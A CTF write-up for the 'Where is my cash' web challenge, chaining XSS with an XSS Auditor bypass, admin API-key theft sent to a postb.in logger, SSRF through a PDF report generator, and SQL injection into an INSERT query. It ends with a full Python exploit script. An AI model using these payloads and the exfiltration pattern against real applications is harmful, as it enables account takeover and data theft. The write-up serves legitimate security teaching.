Tags: web ssrf sqli xssauditor xss 

Rating: 5.0

# Where is my cash Writeup (medium, 2 solves)

The [Official writeup shared here](https://gist.github.com/l4yton/da9232b992454b429c93af0d05a1fe2f), the trick for getting the admin key was to force the browser to use the... cache. I've updated this writeup to include this part of the exploit because mine varies in how I do the XSS and exfill the actual flag.

## The Exploit Chain

This is how the exploit chain works, sadly I wasn't able to get the api_key during the CTF but have updated this writeup to include it after the official writeup was shared, and confirmed my other steps work.

1. XSS the Admin to steal its `api_key`
2. Send malicicous PDF using SSRF from the JavaScript to `/1.0/admin/createReport`. This is necessary because
the caller of the next API must be from `127.0.0.1`.
3. The JavaScript makes a request to `/internal/createTestWallet` which is SQLi vulnerable.
4. The SQLi creates a wallet for our account and pulls the flag from another wallet.
5. View the flag on the /wallets page when logged in.

## Cross-Site Scripting (XSS)

The application places the query param `api_key` in the DOM like so:

```js
<script>
const API_TOKEN = "{{{ token }}}";
</script>
```

The backend applies some small filters to it, which we can work around.

```js
return req.query.api_key.replace(/;|\n|\r/g, "");
```

The simplest approach is to have a payload like `api_key="</script><script>PAYLOAD HERE` and
this works locally, but fails when triggering it against the remote server. By running
the server locally I was able to confirm the Chromium's XSS Auditor is blocking this,
so I needed another way.

Our payload looks like this instead `api_key="%2BEXPLOIT//`. We _intentionally_ include the URI
encoded version of `+` there, and we'll need to URI encode the whole param once more before using it.
This was another gotcha with making the admin visit. Because it gets decoded when we submit it to the
server, it then passes it in as a string with a `+` to visit, and the plus is treated as a space and
doesn't show up in the rendered output, thus we get a syntax error and it fails. When all is as expected,
we get it to render like so.

```js
<script>
const API_TOKEN = ""+EXPLOIT_HERE//";
</script>
```

This is somewhat restrictive because you can't do `=` in the exploit easily and cannot use `;`,
but we can also work around this by wrapping each line of our exploit in a function, iterate over it,
and call each function. This can be seen in the exploit script itself, but it ends up basically looking
like this, and we can share state between calls using the global window.

```js
const API_TOKEN = ""+[() => { window.x = 1 }, () => { console.log(x+1) }].forEach(f => f())//";
```

A POC of the basic form of this can be seen locally with this URL, but note that we don't do the double encoding of `+`
because we want it to trigger in our browser so we can iterate on it.

```
https://wimc.ctf.allesctf.net/?api_key=%22%2Balert%28%22hi%22%29%2F%2F
```

### Making the Admin Visit

We submit the support form on https://wimc.ctf.allesctf.net/support with the XSS'd URL. You can test this like so:

1. Create a [Postbin](https://postb.in) to log requests
2. Modify this URL to include your Postbin IDs `https://wimc.ctf.allesctf.net/?api_key=%22%252Bwindow.location.replace%28%22https%3A%2F%2Fpostb.in%2F1599338333507-1126356946770%22%29%2F%2F`
3. Submit the form on https://wimc.ctf.allesctf.net/support
4. Refresh the Postbin to see the request.

### Getting the API Key

From the official writeup, the intended solution was to force the browser to load the admin user from the cache, which allows us to get their API key. In my exploit code this looks like so:

```javascript
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))
```

Another user on IRC, Webuser4344, shared an alternate way they were able to get the flag. In my exploration I was somewhat close to this and attempting to use iframes to do something similar, but didn't get it all the way there. Here's how it worked:

1. The first XSS payload opens a new window
2. In the second window, call `window.opener.history.back()` to navigate back to the page with api_key in the url
3. Read the URL `window.opener.location.href` and exfil it.

## Server-Side Request Forgery (SSRF)

Once we have the `api_key`, we can authenticate as the admin and call the `/1.0/admin/createReport` endpoint which
allows us to upload arbitrary HTML which it will render as a PDF and then return to us. We can include a `<script>`
in our HTML and use that to trigger the SSRF. The HTML we submit looks like so:

```html
<script>
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(data);
</script>
```

## The SQLi

The implementation of the `/internal/createTestWallet` endpoint interpolates in the balance parameter directly into the query like so:

```js
var balance = req.body["balance"] || 1337;
var ip = req.connection.remoteAddress;

if (ip === "127.0.0.1") {
// create testing wallet without owner
var wallet_id = crypto.randomBytes(20).toString('hex').substring(0,20);
connection.query(`INSERT INTO wallets VALUES ('${wallet_id}', NULL, ${balance}, 'TESTING WALLET 1234');`, (err, data) => {
```

The flag itself is stoed as the note for a wallet owner by a different user, so we can have the SQLi create a new wallet for our account, and set the note to the flag from the other wallet. The appliction never exposes our user_id to us, so we also use a subquery to select our account. This way we can see it on our wallets page after the injection runs.

The query itself looks like this, with newlines added for clarity. One issue that came up with MySQL is that it doesn't like you selecting from the same table (`wallets`) you are inserting into, but by aliasing it to `w` we make this error go away.
```sql
INSERT INTO wallets VALUES
('${wallet_id}', NULL, 1, 'TESTING WALLET 1234'),
(
'1',
(select user_id from general where username='tpurp' limit 1),
1,
(select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)
);
#, 'TESTING WALLET 1234
```

## The Flag

Once this runs, we simply need to log into the application, view the wallets page, click on wallet #1, and the flag will be on the page!

## Exploit Script

```python
#!/usr/bin/env python3
import sys
import requests
from urllib.parse import urlencode, quote_plus

"""
USAGE:
Exploit a local server, this works because I locally removed recaptcha and modified some of
the static scripts to reference the local server.
python3 zexploit.py LOCAL

Generate the XSS'd url for the remote server. We can't auto-exploit it because of recaptcha.
python3 zexploit.py REMOTE
"""

if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":
REMOTE = True
else:
REMOTE = False

if REMOTE:
BASE_URL = "https://wimc.ctf.allesctf.net/"
ADMIN_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"
API_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"
else:
# BASE_URL = "http://localhost:10002"
BASE_URL = "http://app:1337"
ADMIN_BASE_URL = "http://localhost:10003/1.0"
API_BASE_URL = "http://localhost:10001/1.0"

# NOTE: This supports multiline payloads, but each line is within it's own scope,
# so if you want to reuse variables they need to be defined globally. Also, you
# can't use semicolons and if you want to use a +, you need to define it as `%2B`.
xss_code = """
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))
"""
# This payload can be used for local testing
# fetch("http://api:1337/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))

def build_xss_payload():
exploit_lines = xss_code.split("\n")[1:-1]
# We intentionally include the already encoded + to double encode it.
# Without this it gets removed before the server actually runs it and we get
# a JS syntax error there.
xss_exploit = "\"%2B["
for line in exploit_lines:
xss_exploit += "() => {" + line + "},"

xss_exploit = xss_exploit[:-1] # trim trailing comma
xss_exploit += "].forEach(f => f())//"
return xss_exploit

def add_xss_url():
xss_payload = {'api_key': build_xss_payload()}
xss_query = urlencode(xss_payload, quote_via=quote_plus)
return f"{BASE_URL}?{xss_query}"

def add_xss_url_no_encode():
xss_exploit = build_xss_payload()
return f"{BASE_URL}?api_key={xss_exploit}"

# This only works locally since recaptcha is used remotely.
def exploit():
url = add_xss_url_no_encode() # we use this one since requests auto-encodes
print(f"[+] XSS URL: {url}")
payload = {"description": "whatever", "url": url}
req_url = f"{ADMIN_BASE_URL}/support"
print(f"[+] POST to {req_url}")
res = requests.post(req_url, data=payload)
print(f"[+] {res.status_code}: {res.text}")
return res

# We use XMLHttpRequest because fetch isn't available in the context the PDF generator runs.
report_xss_html = """<script>
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(data);
</script>
"""
def exploit_create_report(api_token):
req_url = f"{API_BASE_URL}/admin/createReport"
print(f"[+] POST to {req_url}")
payload = {'html': report_xss_html}
headers = {'X-API-TOKEN': api_token}
res = requests.post(req_url, data=payload, headers=headers)
print(f"[+] {res.status_code}")
return res

if REMOTE:
# just print the URL since we can't automatically exploit due to recaptcha
print(add_xss_url())

# once we get api_key, update this and call
api_key = "ADMIN_API_KEY_HERE"
exploit_create_report(api_key)
else:
exploit()
```

Original writeup (https://gist.github.com/jakecraige/0e27b80d2dc6caadf887a76b9e55948c).